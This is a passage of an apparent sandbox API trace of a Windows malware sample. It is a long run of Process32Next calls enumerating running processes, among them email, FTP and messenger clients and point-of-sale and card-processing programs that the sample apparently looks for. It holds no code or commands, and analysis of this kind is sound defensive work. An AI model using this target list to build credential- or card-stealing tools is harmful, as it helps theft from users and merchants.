th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0260.648] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0260.650] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0260.652] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0260.655] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0260.659] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0260.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0260.663] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0260.665] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0260.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0260.669] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0260.670] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0260.672] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0260.675] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0260.677] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0260.679] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0260.681] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0260.683] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0260.684] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0260.687] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0260.689] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0260.691] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0260.693] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0260.695] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0260.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0260.699] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0260.701] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0260.735] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0260.739] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0260.742] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0260.744] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0260.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0260.749] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0260.752] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0260.754] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0260.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0260.761] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.764] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0260.766] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0260.769] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0260.771] CloseHandle (hObject=0x2200) returned 1 [0260.772] Sleep (dwMilliseconds=0x64) [0260.774] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0260.794] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0260.797] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0260.799] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0260.801] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.804] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0260.806] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0260.808] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.821] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.824] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.827] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.829] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.835] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.837] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.839] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.841] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.844] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.846] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.849] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.851] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0260.859] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.892] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.895] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0260.897] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0260.899] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0260.901] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0260.903] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0260.904] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0260.906] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.908] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.909] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.911] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0260.913] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0260.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.916] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.918] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.919] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0260.921] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0260.923] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0260.924] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0260.926] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0260.928] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 